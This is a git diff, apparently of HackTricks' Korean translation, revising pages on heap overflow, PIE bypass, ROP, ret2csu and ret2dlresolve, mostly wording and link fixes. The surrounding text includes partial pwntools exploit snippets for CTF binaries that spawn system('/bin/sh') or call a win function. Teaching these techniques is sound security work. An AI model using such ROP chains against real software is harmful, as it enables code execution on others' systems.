예제 확인**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)) +- **스택에서 EBP와 EIP 값을 무작위로 시도**하여 올바른 값을 유출할 때까지: {{#ref}} bypassing-canary-and-pie.md {{#endref}} -- [**포맷 문자열**](../../format-strings/)과 같은 **임의 읽기** 취약점을 사용하여 바이너리의 주소를 유출합니다 (예: 이전 기술처럼 스택에서) 바이너리의 기본 주소를 얻고 거기서 오프셋을 사용합니다. [**여기에서 예시를 찾으세요**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). +- [**포맷 문자열**](../../format-strings/index.html)과 같은 **임의 읽기** 취약점을 사용하여 바이너리의 주소를 유출 (예: 이전 기술처럼 스택에서)하여 바이너리의 기본 주소를 얻고 거기서 오프셋을 사용할 수 있습니다. [**여기서 예제 찾기**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). -## 참고 자료 +## References - [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie) diff --git a/src/binary-exploitation/libc-heap/heap-overflow.md b/src/binary-exploitation/libc-heap/heap-overflow.md index d3e82e881..606c9eb95 100644 --- a/src/binary-exploitation/libc-heap/heap-overflow.md +++ b/src/binary-exploitation/libc-heap/heap-overflow.md @@ -4,7 +4,7 @@ ## 기본 정보 -힙 오버플로우는 [**스택 오버플로우**](../stack-overflow/)와 비슷하지만 힙에서 발생합니다. 기본적으로 이는 힙에 데이터를 저장하기 위해 예약된 공간이 있고 **저장된 데이터가 예약된 공간보다 더 크다는 것을 의미합니다.** +힙 오버플로우는 [**스택 오버플로우**](../stack-overflow/index.html)와 비슷하지만 힙에서 발생합니다. 기본적으로 이는 힙에 데이터를 저장하기 위해 예약된 공간이 있고 **저장된 데이터가 예약된 공간보다 더 크다는 것을 의미합니다.** 스택 오버플로우에서는 명령 포인터나 스택 프레임과 같은 일부 레지스터가 스택에서 복원될 것이며 이를 악용할 수 있는 가능성이 있습니다. 힙 오버플로우의 경우, **기본적으로 힙 청크에 저장된 민감한 정보는 없습니다**. 그러나 민감한 정보나 포인터일 수 있으므로, 이 취약점의 **중요성**은 **어떤 데이터가 덮어씌워질 수 있는지**와 공격자가 이를 어떻게 악용할 수 있는지에 따라 **달라집니다**. @@ -15,11 +15,11 @@ 스택 오버플로우에서는 취약점이 발생할 때 스택에 존재할 데이터와 배열이 상당히 신뢰할 수 있습니다. 이는 스택이 선형적이며, 항상 충돌하는 메모리에서 증가하고, **프로그램 실행의 특정 위치에서 스택 메모리는 보통 유사한 종류의 데이터를 저장하며** 각 함수에서 사용되는 스택 부분의 끝에 특정 구조와 포인터가 있기 때문입니다. -그러나 힙 오버플로우의 경우, 사용된 메모리는 선형적이지 않으며 **할당된 청크는 보통 메모리의 분리된 위치에 있습니다** (서로 인접하지 않음) **크기별로 할당을 구분하는 빈과 구역** 때문에 그리고 **이전의 해제된 메모리가** 새로운 청크를 할당하기 전에 사용되기 때문입니다. **힙 오버플로우에 취약한 객체와 충돌할 객체를 아는 것은 복잡합니다.** 따라서 힙 오버플로우가 발견되면, **오버플로우될 수 있는 객체와 메모리에서 다음에 올 객체를 신뢰할 수 있는 방법으로 만들어야 합니다.** +그러나 힙 오버플로우의 경우, 사용된 메모리는 선형적이지 않으며 **할당된 청크는 보통 메모리의 분리된 위치에 있습니다** (서로 인접하지 않음) **빈과 영역**이 크기에 따라 할당을 분리하고 **이전의 해제된 메모리가** 새로운 청크를 할당하기 전에 사용되기 때문입니다. **어떤 객체가 힙 오버플로우에 취약한 객체와 충돌할 것인지 아는 것은 복잡합니다.** 따라서 힙 오버플로우가 발견되면, **오버플로우된 객체가 메모리에서 원하는 객체와 인접하도록 만드는 신뢰할 수 있는 방법을 찾아야 합니다.** -이를 위해 사용되는 기술 중 하나는 **힙 그루밍**입니다. 예를 들어 [**이 게시물**](https://azeria-labs.com/grooming-the-ios-kernel-heap/)에서 설명됩니다. 이 게시물에서는 iOS 커널에서 메모리 청크를 저장할 공간이 부족할 때, 커널 페이지로 확장하고 이 페이지를 예상 크기의 청크로 나누어 순서대로 사용된다고 설명합니다 (iOS 버전 9.2까지, 이후에는 이러한 청크가 무작위로 사용되어 공격의 악용을 어렵게 만듭니다). +이를 위해 사용되는 기술 중 하나는 **힙 그루밍**입니다. 예를 들어 [**이 게시물**](https://azeria-labs.com/grooming-the-ios-kernel-heap/)에서 설명됩니다. 이 게시물에서는 iOS 커널에서 메모리 청크를 저장할 공간이 부족할 때, 커널 페이지로 확장하고 이 페이지를 예상 크기의 청크로 나누어 순서대로 사용되는 방법을 설명합니다 (iOS 버전 9.2까지, 이후에는 이러한 청크가 무작위로 사용되어 공격의 악용을 어렵게 만듭니다). -따라서 힙 오버플로우가 발생하는 이전 게시물에서는, 오버플로우된 객체가 피해자 객체와 충돌하도록 강제하기 위해 여러 **`kalloc`이 여러 스레드에 의해 강제되어 모든 무료 청크가 채워지고 새로운 페이지가 생성되도록 시도합니다.** +따라서 힙 오버플로우가 발생하는 이전 게시물에서, 오버플로우된 객체가 피해자 객체와 충돌하도록 강제하기 위해 여러 **`kalloc`이 여러 스레드에 의해 강제되어 모든 무료 청크가 채워지고 새로운 페이지가 생성되도록 시도합니다.** 특정 크기의 객체로 이 채우기를 강제하기 위해, **iOS 맥 포트와 관련된 아웃 오브 라인 할당**이 이상적인 후보입니다. 메시지의 크기를 조정함으로써 `kalloc` 할당의 크기를 정확히 지정할 수 있으며, 해당 맥 포트가 파괴되면 해당 할당이 즉시 `kfree`로 반환됩니다. @@ -27,9 +27,9 @@ ### 예제 libc -[**이 페이지**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html)에서는 다음 청크의 prev in use 비트와 prev size의 위치를 덮어쓰는 방법을 보여주는 기본 힙 오버플로우 에뮬레이션을 찾을 수 있습니다. 이를 통해 **사용 중인 청크를 통합**(사용되지 않는 것처럼 보이게 함)하고 **다시 할당하여 다른 포인터에서 사용 중인 데이터를 덮어쓸 수 있습니다.** +[**이 페이지**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html)에서는 다음 청크의 prev in use 비트와 prev 크기를 덮어쓰는 방법을 보여주는 기본 힙 오버플로우 에뮬레이션을 찾을 수 있습니다. 이를 통해 **사용 중인 청크를 통합**(사용되지 않는 것으로 인식하게 함)하고 **다시 할당하여** 다른 포인터에서 사용 중인 데이터를 덮어쓸 수 있습니다. -[**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html)에서 또 다른 예제는 **힙 오버플로우**를 악용하여 승리 함수를 호출하여 **플래그를 얻는** 매우 기본적인 CTF 예제를 보여줍니다. +[**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html)에서 또 다른 예제는 **힙 오버플로우**를 악용하여 승리 함수 호출을 통해 **플래그를 얻는** 매우 기본적인 CTF 예제를 보여줍니다. [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) 예제에서는 버퍼 오버플로우를 악용하여 **근처 청크에 주소를 덮어쓸 수 있는 방법**을 볼 수 있습니다. 여기서 **사용자로부터 임의의 데이터**가 기록될 것입니다. diff --git a/src/binary-exploitation/rop-return-oriented-programing/README.md b/src/binary-exploitation/rop-return-oriented-programing/README.md index f07623465..9de0402d2 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/README.md @@ -9,7 +9,7 @@ ### ROP 작동 방식 1. **제어 흐름 탈취**: 먼저, 공격자는 프로그램의 제어 흐름을 탈취해야 하며, 일반적으로 버퍼 오버플로우를 이용해 스택에 저장된 반환 주소를 덮어씁니다. -2. **가젯 체이닝**: 공격자는 원하는 작업을 수행하기 위해 가젯을 신중하게 선택하고 연결합니다. 여기에는 함수 호출을 위한 인수 설정, 함수 호출(예: `system("/bin/sh")`), 필요한 정리 또는 추가 작업 처리 등이 포함될 수 있습니다. +2. **가젯 체이닝**: 공격자는 원하는 작업을 수행하기 위해 가젯을 신중하게 선택하고 연결합니다. 여기에는 함수 호출을 위한 인수 설정, 함수 호출(예: `system("/bin/sh")`), 필요한 정리 작업 또는 추가 작업 처리 등이 포함될 수 있습니다. 3. **페이로드 실행**: 취약한 함수가 반환될 때, 합법적인 위치로 반환하는 대신 가젯 체인을 실행하기 시작합니다. ### 도구 @@ -18,7 +18,7 @@ ## x86 예제에서의 ROP 체인 -### **x86 (32비트) 호출 규약** +### **x86 (32-bit) 호출 규약** - **cdecl**: 호출자가 스택을 정리합니다. 함수 인수는 역순(오른쪽에서 왼쪽으로)으로 스택에 푸시됩니다. **인수는 오른쪽에서 왼쪽으로 스택에 푸시됩니다.** - **stdcall**: cdecl과 유사하지만, 피호출자가 스택을 정리할 책임이 있습니다. @@ -30,15 +30,15 @@ - `pop eax; ret`: 이 가젯은 스택의 최상위 값을 `EAX` 레지스터로 팝하고 반환하여 `EAX`를 제어할 수 있게 합니다. - `pop ebx; ret`: 위와 유사하지만 `EBX` 레지스터에 대한 것으로, `EBX`를 제어할 수 있게 합니다. - `mov [ebx], eax; ret`: `EAX`의 값을 `EBX`가 가리키는 메모리 위치로 이동하고 반환합니다. 이는 종종 **write-what-where gadget**이라고 불립니다. -- 추가로, `system()` 함수의 주소를 사용할 수 있습니다. +- 추가로, `system()` 함수의 주소도 사용할 수 있습니다. ### **ROP 체인** -**pwntools**를 사용하여 ROP 체인 실행을 위해 스택을 다음과 같이 준비합니다. `system('/bin/sh')`를 실행하는 것을 목표로 하며, 체인이 다음으로 시작하는 방식을 주목하십시오: +**pwntools**를 사용하여 ROP 체인 실행을 위해 스택을 다음과 같이 준비합니다. `system('/bin/sh')`를 실행하는 것을 목표로 하며, 체인이 다음과 같이 시작됨을 주목하십시오: 1. 정렬을 위한 `ret` 명령어 (선택 사항) -2. `system` 함수의 주소 (ASLR 비활성화 및 libc가 알려진 경우 가정, 더 많은 정보는 [**Ret2lib**](ret2lib/)에서 확인) -3. `system()`에서 반환 주소를 위한 자리 표시자 +2. `system` 함수의 주소 (ASLR 비활성화 및 libc가 알려진 경우 가정, 더 많은 정보는 [**Ret2lib**](ret2lib/index.html)에서 확인) +3. `system()`의 반환 주소를 위한 자리 표시자 4. `"/bin/sh"` 문자열 주소 (system 함수의 매개변수) ```python from pwn import * @@ -77,15 +77,15 @@ p.interactive() ### **x64 (64비트) 호출 규약** -- **System V AMD64 ABI** 호출 규약을 사용하는 Unix 유사 시스템에서 **첫 번째 여섯 개의 정수 또는 포인터 인자는 레지스터 `RDI`, `RSI`, `RDX`, `RCX`, `R8`, 및 `R9`**에 전달됩니다. 추가 인자는 스택에 전달됩니다. 반환 값은 `RAX`에 배치됩니다. -- **Windows x64** 호출 규약은 첫 번째 네 개의 정수 또는 포인터 인자를 위해 `RCX`, `RDX`, `R8`, 및 `R9`를 사용하며, 추가 인자는 스택에 전달됩니다. 반환 값은 `RAX`에 배치됩니다. -- **레지스터**: 64비트 레지스터에는 `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, 및 `R8`에서 `R15`까지 포함됩니다. +- 유닉스 계열 시스템에서 **System V AMD64 ABI** 호출 규약을 사용하며, **첫 여섯 개의 정수 또는 포인터 인자는 레지스터 `RDI`, `RSI`, `RDX`, `RCX`, `R8`, `R9`**에 전달됩니다. 추가 인자는 스택에 전달됩니다. 반환 값은 `RAX`에 저장됩니다. +- **Windows x64** 호출 규약은 첫 네 개의 정수 또는 포인터 인자에 대해 `RCX`, `RDX`, `R8`, `R9`를 사용하며, 추가 인자는 스택에 전달됩니다. 반환 값은 `RAX`에 저장됩니다. +- **레지스터**: 64비트 레지스터에는 `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, `R8`에서 `R15`까지 포함됩니다. #### **가젯 찾기** -우리의 목적을 위해, **RDI** 레지스터를 설정할 수 있는 가젯에 집중하겠습니다 ( **"/bin/sh"** 문자열을 **system()**에 인자로 전달하기 위해) 그리고 **system()** 함수를 호출합니다. 다음 가젯을 식별했다고 가정하겠습니다: +우리의 목적을 위해, **RDI** 레지스터를 설정할 수 있는 가젯에 집중하겠습니다 (인자로 **system()**에 **"/bin/sh"** 문자열을 전달하기 위해) 그리고 **system()** 함수를 호출합니다. 다음 가젯을 식별했다고 가정하겠습니다: -- **pop rdi; ret**: 스택의 최상위 값을 **RDI**에 팝하고 반환합니다. **system()**에 대한 인자를 설정하는 데 필수적입니다. +- **pop rdi; ret**: 스택의 최상위 값을 **RDI**에 팝하고 반환합니다. **system()**의 인자를 설정하는 데 필수적입니다. - **ret**: 간단한 반환으로, 일부 시나리오에서 스택 정렬에 유용합니다. 그리고 우리는 **system()** 함수의 주소를 알고 있습니다. @@ -127,15 +127,15 @@ payload = fit({offset: rop_chain}) p.sendline(payload) p.interactive() ``` -이 예제에서: +In this example: - 우리는 **`pop rdi; ret`** 가젯을 사용하여 **`RDI`**를 **`"/bin/sh"`**의 주소로 설정합니다. -- **`RDI`**를 설정한 후, 체인에 **system()**의 주소가 있는 상태에서 **`system()`**으로 직접 점프합니다. -- **`ret_gadget`**은 대상 환경이 필요로 할 경우 정렬을 위해 사용되며, 이는 함수 호출 전에 적절한 스택 정렬을 보장하기 위해 **x64**에서 더 일반적입니다. +- **`RDI`**를 설정한 후, 체인에 **system()**의 주소를 포함하여 **`system()`**으로 직접 점프합니다. +- **`ret_gadget`**은 대상 환경이 필요로 할 경우 정렬을 위해 사용되며, 이는 **x64**에서 함수 호출 전에 적절한 스택 정렬을 보장하기 위해 더 일반적입니다. ### 스택 정렬 -**x86-64 ABI**는 **call instruction**이 실행될 때 **스택이 16바이트 정렬**되도록 보장합니다. **LIBC**는 성능 최적화를 위해 **SSE instructions**(예: **movaps**)를 사용하며, 이 정렬이 필요합니다. 스택이 제대로 정렬되지 않으면(**RSP**가 16의 배수가 아닐 경우) **ROP chain**에서 **system**과 같은 함수 호출이 실패합니다. 이를 해결하려면 ROP 체인에서 **system**을 호출하기 전에 **ret gadget**을 추가하면 됩니다. +**x86-64 ABI**는 **call instruction**이 실행될 때 **스택이 16바이트 정렬**되도록 보장합니다. **LIBC**는 성능 최적화를 위해 **SSE instructions**(예: **movaps**)를 사용하며, 이 정렬이 필요합니다. 스택이 제대로 정렬되지 않으면(**RSP**가 16의 배수가 아닐 경우) **system**과 같은 함수 호출이 **ROP chain**에서 실패합니다. 이를 해결하려면, ROP 체인에서 **system**을 호출하기 전에 **ret gadget**을 추가하면 됩니다. ## x86과 x64의 주요 차이점 @@ -154,21 +154,21 @@ p.interactive() ## ROP에 대한 보호 조치 -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): 이러한 보호 조치는 가젯의 주소가 실행 간에 변경되므로 ROP 사용을 더 어렵게 만듭니다. -- [**스택 카나리**](../common-binary-protections-and-bypasses/stack-canaries/): BOF의 경우, ROP 체인을 악용하기 위해 반환 포인터를 덮어쓰려면 스택 카나리를 우회해야 합니다. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): 이러한 보호 조치는 가젯의 주소가 실행 간에 변경되므로 ROP 사용을 더 어렵게 만듭니다. +- [**스택 카나리**](../common-binary-protections-and-bypasses/stack-canaries/index.html): BOF의 경우, ROP 체인을 악용하기 위해 반환 포인터를 덮어쓰려면 스택 카나리를 우회해야 합니다. - **가젯 부족**: 가젯이 충분하지 않으면 ROP 체인을 생성할 수 없습니다. ## ROP 기반 기술 -ROP는 임의의 코드를 실행하기 위한 기술일 뿐입니다. ROP를 기반으로 많은 Ret2XXX 기술이 개발되었습니다: +ROP는 임의 코드를 실행하기 위한 기술일 뿐입니다. ROP를 기반으로 많은 Ret2XXX 기술이 개발되었습니다: -- **Ret2lib**: ROP를 사용하여 로드된 라이브러리에서 임의의 함수와 임의의 매개변수(보통 `system('/bin/sh')`와 같은)를 호출합니다. +- **Ret2lib**: ROP를 사용하여 로드된 라이브러리에서 임의의 매개변수로 임의의 함수를 호출합니다(보통 `system('/bin/sh')`와 같은 형태). {{#ref}} ret2lib/ {{#endref}} -- **Ret2Syscall**: ROP를 사용하여 `execve`와 같은 시스템 호출을 준비하고 임의의 명령을 실행하게 합니다. +- **Ret2Syscall**: ROP를 사용하여 시스템 호출을 준비하고, 예를 들어 `execve`를 호출하여 임의의 명령을 실행합니다. {{#ref}} rop-syscall-execv/ @@ -180,7 +180,7 @@ rop-syscall-execv/ ../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md {{#endref}} -## 기타 예제 및 참고 자료 +## 기타 예제 및 참조 - [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions) - [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html) diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md index fb116deb7..c0dec82e4 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md @@ -6,15 +6,15 @@ ## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)기본 정보 -**ret2csu**는 프로그램을 제어하려고 할 때 일반적으로 프로그램의 동작을 조작하는 데 사용하는 **gadgets**를 찾을 수 없을 때 사용되는 해킹 기술입니다. +**ret2csu**는 프로그램을 제어하려고 할 때 사용하는 해킹 기술로, 프로그램의 동작을 조작하는 데 일반적으로 사용하는 **gadgets**를 찾을 수 없을 때 사용됩니다. -프로그램이 특정 라이브러리(예: libc)를 사용할 때, 프로그램의 다양한 부분이 서로 통신하는 방식을 관리하기 위한 몇 가지 내장 함수가 있습니다. 이러한 함수 중에는 특히 `__libc_csu_init`이라는 이름의 누락된 gadgets 역할을 할 수 있는 숨겨진 보석들이 있습니다. +프로그램이 특정 라이브러리(예: libc)를 사용할 때, 서로 다른 프로그램 조각들이 어떻게 상호작용하는지를 관리하기 위한 몇 가지 내장 함수가 있습니다. 이러한 함수 중에는 우리가 잃어버린 gadgets 역할을 할 수 있는 숨겨진 보석들이 있으며, 특히 `__libc_csu_init`이라는 함수가 있습니다. ### \_\_libc_csu_init의 마법의 Gadgets **`__libc_csu_init`**에는 강조할 두 가지 명령어 시퀀스(gadgets)가 있습니다: -1. 첫 번째 시퀀스는 여러 레지스터(rbx, rbp, r12, r13, r14, r15)에 값을 설정할 수 있게 해줍니다. 이들은 나중에 사용하고자 하는 숫자나 주소를 저장할 수 있는 슬롯과 같습니다. +1. 첫 번째 시퀀스는 여러 레지스터(rbx, rbp, r12, r13, r14, r15)에 값을 설정할 수 있게 해줍니다. 이들은 나중에 사용하고 싶은 숫자나 주소를 저장할 수 있는 슬롯과 같습니다. ```armasm pop rbx; pop rbp; @@ -35,7 +35,7 @@ mov rsi, r14; mov edi, r13d; call qword [r12 + rbx*8]; ``` -3. 아마도 거기에 쓸 주소를 모를 것이고 **`ret` 명령어가 필요합니다**. 두 번째 가젯도 **`ret`로 끝나지만**, 그것에 도달하기 위해서는 몇 가지 **조건을 충족해야 합니다**: +3. 아마도 거기에 쓸 주소를 모를 것이고 **`ret` 명령어가 필요합니다**. 두 번째 가젯도 **`ret`로 끝날 것**이라는 점에 유의해야 하지만, 그것에 도달하기 위해서는 몇 가지 **조건을 충족해야** 합니다: ```armasm mov rdx, r15; mov rsi, r14; @@ -49,7 +49,7 @@ ret ``` 조건은 다음과 같습니다: -- `[r12 + rbx*8]`는 호출 가능한 함수가 저장된 주소를 가리켜야 합니다 (아이디어가 없고 pie가 없다면, 그냥 `_init` 함수를 사용할 수 있습니다): +- `[r12 + rbx*8]`는 호출 가능한 함수가 저장된 주소를 가리켜야 합니다 (아이디어가 없고 PIE가 없다면, 그냥 `_init` 함수를 사용할 수 있습니다): - 만약 \_init이 `0x400560`에 있다면, GEF를 사용하여 메모리에서 그것에 대한 포인터를 검색하고 `[r12 + rbx*8]`가 \_init에 대한 포인터가 있는 주소가 되도록 하십시오: ```bash # Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html @@ -63,7 +63,7 @@ gef➤ search-pattern 0x400560 - `rbp`와 `rbx`는 점프를 피하기 위해 동일한 값을 가져야 합니다. - 고려해야 할 생략된 pop이 있습니다. -## RDI와 RSI +## RDI 및 RSI ret2csu 가젯에서 **`rdi`**와 **`rsi`**를 제어하는 또 다른 방법은 특정 오프셋에 접근하는 것입니다: @@ -79,11 +79,11 @@ brop-blind-return-oriented-programming.md ### 호출 사용 -syscall을 하거나 `write()`와 같은 함수를 호출하고 싶지만 `rdx`와 `rsi` 레지스터에 특정 값이 필요하다고 가정해 보겠습니다. 일반적으로 이러한 레지스터를 직접 설정하는 가젯을 찾겠지만, 찾을 수 없습니다. +syscall을 하거나 `write()`와 같은 함수를 호출하고 싶지만 `rdx`와 `rsi` 레지스터에 특정 값이 필요하다고 가정해 보겠습니다. 일반적으로 이러한 레지스터를 직접 설정하는 가젯을 찾지만, 찾을 수 없습니다. 여기서 **ret2csu**가 등장합니다: -1. **레지스터 설정**: 첫 번째 매직 가젯을 사용하여 스택에서 값을 pop하여 rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), r15에 넣습니다. +1. **레지스터 설정**: 첫 번째 매직 가젯을 사용하여 스택에서 값을 pop하여 rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), r15로 이동합니다. 2. **두 번째 가젯 사용**: 이러한 레지스터가 설정되면 두 번째 가젯을 사용합니다. 이를 통해 선택한 값을 `rdx`와 `rsi`(각각 r14와 r13에서)로 이동시켜 함수 호출을 위한 매개변수를 준비합니다. 또한 `r15`와 `rbx`를 제어하여 프로그램이 계산한 주소에 있는 함수를 호출하도록 할 수 있습니다. 이 주소는 `[r15 + rbx*8]`에 배치됩니다. 이 기술을 사용한 [**예시와 설명이 여기에 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), 그리고 이것이 사용된 최종 익스플로잇입니다: @@ -111,7 +111,7 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written print(p.recvline()) # should receive "Awesome work!" ``` > [!WARNING] -> 이전 익스플로잇은 **`RCE`**를 수행하기 위한 것이 아니라, **`win`**이라는 함수를 호출하기 위한 것입니다(ROP 체인에서 stdin 호출을 통해 `win`의 주소를 가져와 r15에 저장함) 그리고 세 번째 인수로 값 `0xdeadbeefcafed00d`를 사용합니다. +> 이전 익스플로잇은 **`RCE`**를 수행하기 위한 것이 아니라, **`win`**이라는 함수를 호출하기 위한 것입니다 (ROP 체인에서 stdin 호출을 통해 `win`의 주소를 가져와 r15에 저장함) 세 번째 인수로 값 `0xdeadbeefcafed00d`를 사용합니다. ### 호출 우회 및 ret 도달 @@ -165,8 +165,8 @@ payload += ret2win target.sendline(payload) target.interactive() ``` -### 왜 그냥 libc를 직접 사용하지 않을까요? +### Why Not Just Use libc Directly? -보통 이러한 경우는 [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/)에 취약하지만, 때때로 libc에서 직접 찾은 가젯으로 쉽게 제어할 수 있는 것보다 더 많은 매개변수를 제어해야 할 필요가 있습니다. 예를 들어, `write()` 함수는 세 개의 매개변수를 필요로 하며, **이 모든 것을 직접 설정할 수 있는 가젯을 찾는 것은 불가능할 수 있습니다**. +보통 이러한 경우는 [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html)에도 취약하지만, 때때로 libc에서 직접 찾은 가젯으로 쉽게 제어할 수 있는 것보다 더 많은 매개변수를 제어해야 할 필요가 있습니다. 예를 들어, `write()` 함수는 세 개의 매개변수를 필요로 하며, **이 모든 것을 직접 설정할 수 있는 가젯을 찾는 것은 불가능할 수 있습니다**. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md index 1fe5fae08..88e40ca6b 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md @@ -2,18 +2,18 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 기본 정보 -[**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) 및 [**Relro**](../common-binary-protections-and-bypasses/relro.md)에 대한 페이지에서 설명한 바와 같이, Full Relro가 없는 바이너리는 처음 사용될 때 기호(외부 라이브러리에 대한 주소와 같은)를 해결합니다. 이 해결은 **`_dl_runtime_resolve`** 함수를 호출하여 발생합니다. +[**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md)와 [**Relro**](../common-binary-protections-and-bypasses/relro.md)에 대한 페이지에서 설명한 바와 같이, Full Relro가 없는 바이너리는 처음 사용될 때 외부 라이브러리에 대한 주소와 같은 기호를 해결합니다. 이 해결은 **`_dl_runtime_resolve`** 함수를 호출하여 발생합니다. **`_dl_runtime_resolve`** 함수는 지정된 기호를 **해결**하는 데 필요한 몇 가지 구조체에 대한 참조를 스택에서 가져옵니다. -따라서 요청된 기호(예: **`system`** 함수)를 동적으로 연결된 해결을 위해 **모든 이러한 구조체를 위조**하고 구성된 매개변수(예: **`system('/bin/sh')`**)로 호출할 수 있습니다. +따라서, 요청된 기호(예: **`system`** 함수)를 동적으로 연결된 해결을 위해 **모든 이러한 구조체를 위조**할 수 있으며, 구성된 매개변수(예: **`system('/bin/sh')`**)로 호출할 수 있습니다. -일반적으로 이러한 모든 구조체는 **쓰기 가능한 메모리에서 `read`를 호출하는 초기 ROP 체인을 만들어 위조**됩니다. 그런 다음 **구조체**와 문자열 **`'/bin/sh'`**가 전달되어 읽기에서 알려진 위치에 저장되고, 이후 ROP 체인은 **`_dl_runtime_resolve`**를 호출하여 **가짜 구조체에서 `system`의 주소를 해결**하고 **이 주소를** `$'/bin/sh'`의 주소로 호출합니다. +일반적으로, 이러한 모든 구조체는 **쓰기 가능한 메모리에서 `read`를 호출하는 초기 ROP 체인을 만들어 위조**됩니다. 그런 다음 **구조체**와 문자열 **`'/bin/sh'`**가 전달되어 읽기에서 알려진 위치에 저장되고, 이후 ROP 체인은 **`_dl_runtime_resolve`**를 호출하여 **가짜 구조체에서 `system`의 주소를 해결**하고 **이 주소를** `$'/bin/sh'`의 주소로 호출합니다. > [!TIP] -> 이 기술은 syscall 가젯이 없고([**ret2syscall**](rop-syscall-execv/) 또는 [SROP](srop-sigreturn-oriented-programming/)와 같은 기술을 사용할 수 없는 경우) libc 주소를 유출할 방법이 없을 때 특히 유용합니다. +> 이 기술은 syscall 가젯이 없고([**ret2syscall**](rop-syscall-execv/index.html) 또는 [SROP](srop-sigreturn-oriented-programming/index.html)와 같은 기술을 사용할 수 없는 경우) libc 주소를 유출할 방법이 없을 때 특히 유용합니다. 이 기술에 대한 좋은 설명을 비디오 후반부에서 확인하세요: @@ -26,15 +26,15 @@ https://youtu.be/ADULSwnQs-s?feature=shared - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works) - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures) -## Attack Summary +## 공격 요약 1. 일부 위치에 가짜 구조체 작성 2. system의 첫 번째 인수 설정 (`$rdi = &'/bin/sh'`) -3. **`_dl_runtime_resolve`**를 호출하기 위해 구조체의 주소를 스택에 설정 -4. **Call** `_dl_runtime_resolve` -5. **`system`**이 해결되고 `'/bin/sh'`를 인수로 호출됩니다. +3. **`_dl_runtime_resolve`**를 호출하기 위해 스택에 구조체의 주소 설정 +4. **호출** `_dl_runtime_resolve` +5. **`system`**이 해결되고 `'/bin/sh'`를 인수로 호출됨 -[**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html)에서, **`ret2dlresolve`** 공격은 다음과 같이 보입니다: +[**pwntools 문서**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html)에서, **`ret2dlresolve`** 공격이 어떻게 생겼는지 보여줍니다: ```python context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64')) >>> rop = ROP(elf) @@ -188,6 +188,6 @@ target.interactive() - [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared) - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve) - [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html) -- 32비트, no relro, no canary, nx, no pie, 기본 작은 버퍼 오버플로우 및 반환. 이를 이용해 bof는 `.bss` 섹션과 더 큰 크기로 `read`를 다시 호출하는 데 사용되며, 그곳에 `dlresolve` 가짜 테이블을 저장하여 `system`을 로드하고, main으로 반환한 후 초기 bof를 재사용하여 dlresolve를 호출하고 `system('/bin/sh')`를 실행합니다. +- 32비트, no relro, no canary, nx, no pie, 기본 작은 버퍼 오버플로우 및 리턴. 이를 이용해 bof를 사용하여 `.bss` 